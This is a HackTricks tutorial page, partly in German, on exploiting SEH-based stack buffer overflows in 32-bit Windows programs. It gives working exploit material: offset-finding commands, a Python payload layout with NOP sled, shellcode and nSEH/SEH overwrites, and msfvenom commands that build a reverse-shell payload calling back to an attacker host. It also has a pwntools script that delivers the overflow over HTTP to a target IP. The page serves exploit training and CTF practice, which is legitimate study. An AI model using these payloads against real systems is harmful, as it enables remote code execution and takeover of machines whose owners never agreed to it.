Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
SEH-based exploitation ist eine klassische x86 Windows-Technik, die die auf dem Stack gespeicherte Structured Exception Handler-Kette ausnutzt. Wenn ein Stack-Buffer-Overflow die beiden 4-Byte-Felder überschreibt
- nSEH: pointer to the next SEH record, und
- SEH: pointer to the exception handler function
kann ein Angreifer die Ausführung übernehmen durch:
- Setzen von SEH auf die Adresse eines POP POP RET gadget in einem nicht-geschützten Modul, so dass beim Dispatchen einer Exception das Gadget in angreifer-kontrollierte Bytes zurückkehrt, und
- Verwenden von nSEH, um die Ausführung umzuleiten (typischerweise ein kurzer Sprung) zurück in den großen überlaufenden Buffer, in dem sich Shellcode befindet.
Diese Technik ist spezifisch für 32-Bit-Prozesse (x86). Auf modernen Systemen bevorzugt man ein Modul ohne SafeSEH und ASLR für das Gadget. Bad characters beinhalten oft 0x00, 0x0a, 0x0d (NUL/CR/LF) aufgrund von C-strings und HTTP-Parsing.
Finding exact offsets (nSEH / SEH)
- Lasse den Prozess abstürzen und überprüfe, dass die SEH-Kette überschrieben ist (z. B. in x32dbg/x64dbg, check the SEH view).
- Sende ein cyclic pattern als überlaufende Daten und berechne die Offsets der beiden dwords, die in nSEH und SEH landen.
Example with peda/GEF/pwntools on a 1000-byte POST body:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible.
Choosing a POP POP RET (SEH gadget)
Du brauchst eine POP POP RET-Sequenz, um den SEH-Frame aufzulösen und in deine nSEH-Bytes zurückzukehren. Finde sie in einem Modul ohne SafeSEH und idealerweise ohne ASLR:
- Mona (Immunity/WinDbg):
!mona modules
then!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
to list POP POP RET gadgets and SafeSEH status.
Wähle eine Adresse, die keine badchars enthält, wenn sie little-endian geschrieben wird (z. B. p32(0x004094D8)
). Bevorzuge Gadgets innerhalb des vulnerable binary, wenn die Schutzmechanismen das erlauben.
Jump-back technique (short + near jmp)
nSEH is only 4 bytes, which fits at most a 2-byte short jump (EB xx
) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.
With nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
Layout-Idee für eine 1000-byte payload mit nSEH bei Offset 660:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
Ablauf der Ausführung:
- Es tritt eine Exception auf, der Dispatcher verwendet die überschriebenen SEH.
- POP POP RET sorgt für das Unwinden und führt so zur Ausführung unseres nSEH.
- nSEH führt
jmp short -8
in den 5-Byte near jump aus. - Der near jump landet am Anfang unseres Buffers, wo der NOP sled + shellcode liegen.
Bad characters
Erstelle einen vollständigen badchar-String und vergleiche den Stack-Speicher nach dem Crash, entferne Bytes, die vom Zielparser verfälscht werden. Bei HTTP-basierten Overflows sind \x00\x0a\x0d
fast immer ausgeschlossen.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode generation (x86)
Verwende msfvenom mit deinen badchars. Ein kleines NOP sled hilft, Positionsabweichungen zu tolerieren.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
Wenn man es on the fly generiert, ist das hex-Format praktisch, um es in Python einzubetten und zu unhexen:
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
Senden über HTTP (präzise CRLF + Content-Length)
Wenn der verwundbare Angriffsvektor der HTTP-Request-Body ist, erstelle eine rohe Anfrage mit exakt passenden CRLFs und korrekter Content-Length, damit der Server den gesamten überlaufenden Body liest.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
Werkzeuge
- x32dbg/x64dbg, um die SEH-Kette zu beobachten und den Crash zu analysieren.
- ERC.Xdbg (x64dbg plugin), um SEH-Gadgets aufzulisten:
ERC --SEH
. - Mona als Alternative:
!mona modules
,!mona seh
. - nasmshell, um short/near jumps zu assemblieren und rohe opcodes zu kopieren.
- pwntools, um präzise Netzwerk-Payloads zu erstellen.
Hinweise und Einschränkungen
- Gilt nur für x86-Prozesse. x64 verwendet ein anderes SEH-Schema und SEH-basierte Exploitation ist generell nicht praktikabel.
- Bevorzuge Gadgets in Modulen ohne SafeSEH und ASLR; andernfalls finde ein ungeschütztes Modul, das im Prozess geladen ist.
- Service-Watchdogs, die bei einem Crash automatisch neu starten, können die iterative Exploit-Entwicklung erleichtern.
Referenzen
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)
- Corelan – Exploit writing tutorial part 7 (SEH)
- Mona.py – WinDbg/Immunity helper
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.